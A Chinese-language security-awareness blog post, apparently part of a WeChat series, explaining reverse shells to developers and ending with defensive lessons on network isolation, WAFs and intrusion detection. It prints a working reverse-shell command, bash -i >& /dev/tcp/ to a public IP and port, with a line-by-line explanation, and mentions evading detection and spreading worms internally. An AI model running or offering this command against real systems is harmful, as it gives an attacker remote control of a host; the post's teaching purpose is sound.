最近在工作中发现,一线研发类的同学对基本的安全的知识缺乏必要的了解,进而产生出这样的一些想法(纯属想象。。。):
1. 你看我的密码zhangsan!@#123, 密码字母,数字,特殊字符都有了,别人肯定猜不到...
2. 天啊,密码要三个月必须改一次,是不是吃饱了没事干...
3. 安全又搞事情了,这也不能访问,那也需要认证,心里默默飘过了一万个草泥马...
4. 每次访问数据库,流程一大堆,我自己写个PHP后门挂上去,可以随时访问,方便多了...
5. 数据都加密了,我还怎么愉快的抓包定位问题? 又是一万个草泥马...
6. 这台机器反正外网访问不到,我可以为所欲为了,各种软件装起来...
7. 这个工程的代码写的太优雅了,感觉也不太重要,放我自己github上吧...
8. 卧槽,安全的产品这么贵,还就这么点功能,好像也用不着,能省就省点吧...
9. 公司这几个安全人员平时看着事也不多,这次裁员要不就先拿他们开刀...
“未知攻,焉知防”, 后续准备通过一系列小的分享文章,以此来增强大家在安全方面的基本认知和日常工作中的安全意识,今天我们就从反弹shell说起。
什么是反弹shell
怎么获取到shell呢?比如,我们通过ssh访问机房的一台服务器(chicken),然后有一个shell命令行的方式来操作这台服务器,那么就可以说我们拿到了chicken的shell。除了ssh之外,我们还可以通过telnet,vnc来达到一个远程登陆的效果。
透过现象看本质,Hacker想要控制chicken,二者之间必须有一个数据传输的通道(TCP/UDP)。ssh是chicken启动一个ssh Server,Hacker来连接。当然,我们也可以开发一个叫TMD Server服务,可以将hacker发上来的文本当做一个CMD执行,那么也就认为TMDServer具备远程登陆的功能。
总而言之,上述shell通道的建立,都是hacker主动连接chicken,那么如果chicken主要连接hacker实现的shell执行通道,就叫反弹shell
为什么要反弹shell
为什么要用反弹shell呢,简单来说就是正向不好搞,所以要反向搞。比如,hacker通过九牛二虎之力,在chicken上上传了一个小马。后面的情况可能是:
chichen在局域网中,没有外网地址,我连不上;
chicken有外网地址,但是经常变,我不能持续的控制它;
chicken前面有waf部署,对进来的request请求做了过滤,很难绕过;
那么我可以通过在hacker机器上启动一个tcpserver,让chicken主动来连接我,由此建立一个数据通道来执行shell。
借用一图说明下(侵删)
示例
ttygif ttyrecord
hacker(外网地址为39.98.87.76)上执行:
chicken行执行
然后此时在看hacker机器上的显示,已经成功拿到chicken的shell,可以在chicken上为所欲为了。
先详细解释下chicken上执行命令的含义,这条命令就可以叫做一条反弹shell。现在详细解释下这条命令的含义:
bash -i >& /dev/tcp/39.98.87.76/4100 0>&1
`bash -i ` 表示启动一个交互式的shell;
`>&` 这个交互式shell的标准输出和标准错误输出,重定向到这socket上/dev/tcp/39.98.87.76/4100,也即发送到/dev/tcp/39.98.87.76/4100远端;
0>&1 标准输入重定向到标准输出上;
简而言之,就是启动一个交互式shell,这个交互式shell的输入来自hacker,输出也输出也到hacker上。
反弹shell的姿势
通过bash -i的是最简单的但也同时是最容易被识别的反弹shell,在没有任何防护的小chicken上执行是没有问题的。
但如果此时chicken有一定的防护能力,比如前面有个waf或者机器装有入侵检测系统,容易就被识别出来被拦截。
但对于一个有经验的hacker来讲,熟练运用各种撩人姿势是必备技能,举例说明:
尤其msf自动生成的一些webshell,即便是装配了一些大厂的入侵检测系统,也很难直接识别出来。
后续操作
chicken被拿到shell后,那么就可以通过chicken来探测跟它在同一网段上的其他机器,他们都部署了什么服务,这些服务是否存在已知的可利用的漏洞等等。或者种上点蠕虫病毒,让其在内网中传播,一只小chicken被感染了,一群chicken可能都会被攻陷下来。
总结
由此分析,我觉得至少改变几个初级的安全认知:
内网的机器并不绝对安全的,一样可以被拿到shell。
做网络隔离,哪怕是内网中的网络安全域,是有用的,不是闲的没事干的操作。
waf和入侵检测能够较大的提升攻击门槛。
https://mp.weixin.qq.com/mp/appmsgalbum?action=getalbum&album_id=1339434786649210881&__biz=MzU1NjU2Nzc1MA==#wechat_redirect